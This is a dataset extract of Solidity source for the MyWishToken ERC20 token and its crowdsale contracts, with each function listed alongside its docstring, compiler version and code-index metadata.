function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
|
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
|
NatSpecMultiLine
|
increaseApproval
|
function increaseApproval(address _spender, uint _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
|
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
2553,
2834
]
}
| 55,472 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MintableToken
|
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
|
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
|
NatSpecMultiLine
|
mint
|
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
|
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
515,
796
]
}
| 55,473 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MintableToken
|
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
|
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
|
NatSpecMultiLine
|
finishMinting
|
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
|
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
921,
1064
]
}
| 55,474 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
BurnableToken
|
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
|
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
|
NatSpecMultiLine
|
burn
|
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
|
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
225,
482
]
}
| 55,475 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishToken
|
contract MyWishToken is usingMyWishConsts, MintableToken, BurnableToken {
/**
* @dev Pause token transfer. After successfully finished crowdsale it becomes true.
*/
bool public paused = true;
/**
* @dev Accounts who can transfer token even if paused. Works only during crowdsale.
*/
mapping(address => bool) excluded;
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (bytes32 _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function crowdsaleFinished() onlyOwner {
paused = false;
finishMinting();
}
function addExcluded(address _toExclude) onlyOwner {
excluded[_toExclude] = true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(!paused || excluded[_from]);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool) {
require(!paused || excluded[msg.sender]);
return super.transfer(_to, _value);
}
/**
* @dev Burn tokens from the specified address.
* @param _from address The address which you want to burn tokens from.
* @param _value uint The amount of tokens to be burned.
*/
function burnFrom(address _from, uint256 _value) returns (bool) {
require(_value > 0);
var allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
allowed[_from][msg.sender] = allowance.sub(_value);
Burn(_from, _value);
return true;
}
}
|
burnFrom
|
function burnFrom(address _from, uint256 _value) returns (bool) {
require(_value > 0);
var allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
allowed[_from][msg.sender] = allowance.sub(_value);
Burn(_from, _value);
return true;
}
|
/**
* @dev Burn tokens from the specified address.
* @param _from address The address which you want to burn tokens from.
* @param _value uint The amount of tokens to be burned.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1490,
1867
]
}
| 55,476 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishRateProviderI
|
contract MyWishRateProviderI {
/**
* @dev Calculate actual rate using the specified parameters.
* @param buyer Investor (buyer) address.
* @param totalSold Amount of sold tokens.
* @param amountWei Amount of wei to purchase.
* @return ETH to Token rate.
*/
function getRate(address buyer, uint totalSold, uint amountWei) public constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() public constant returns (uint);
/**
* @return Absolute base rate.
*/
function getBaseRate() public constant returns (uint);
}
|
getRate
|
function getRate(address buyer, uint totalSold, uint amountWei) public constant returns (uint);
|
/**
* @dev Calculate actual rate using the specified parameters.
* @param buyer Investor (buyer) address.
* @param totalSold Amount of sold tokens.
* @param amountWei Amount of wei to purchase.
* @return ETH to Token rate.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
303,
403
]
}
| 55,477 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishRateProviderI
|
contract MyWishRateProviderI {
/**
* @dev Calculate actual rate using the specified parameters.
* @param buyer Investor (buyer) address.
* @param totalSold Amount of sold tokens.
* @param amountWei Amount of wei to purchase.
* @return ETH to Token rate.
*/
function getRate(address buyer, uint totalSold, uint amountWei) public constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() public constant returns (uint);
/**
* @return Absolute base rate.
*/
function getBaseRate() public constant returns (uint);
}
|
getRateScale
|
function getRateScale() public constant returns (uint);
|
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
522,
582
]
}
| 55,478 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishRateProviderI
|
contract MyWishRateProviderI {
/**
* @dev Calculate actual rate using the specified parameters.
* @param buyer Investor (buyer) address.
* @param totalSold Amount of sold tokens.
* @param amountWei Amount of wei to purchase.
* @return ETH to Token rate.
*/
function getRate(address buyer, uint totalSold, uint amountWei) public constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() public constant returns (uint);
/**
* @return Absolute base rate.
*/
function getBaseRate() public constant returns (uint);
}
|
getBaseRate
|
function getBaseRate() public constant returns (uint);
|
/**
* @return Absolute base rate.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
639,
698
]
}
| 55,479 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
createTokenContract
|
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
|
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
|
LineComment
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1444,
1558
]
}
| 55,480 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
getRate
|
function getRate(uint amount) internal constant returns (uint);
|
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1686,
1754
]
}
| 55,481 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
getRateScale
|
function getRateScale() internal constant returns (uint) {
return 1;
}
|
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1937,
2026
]
}
| 55,482 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
function() payable {
buyTokens(msg.sender, msg.value);
}
|
// fallback function can be used to buy tokens
|
LineComment
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
2081,
2156
]
}
| 55,483 |
||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
buyTokens
|
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
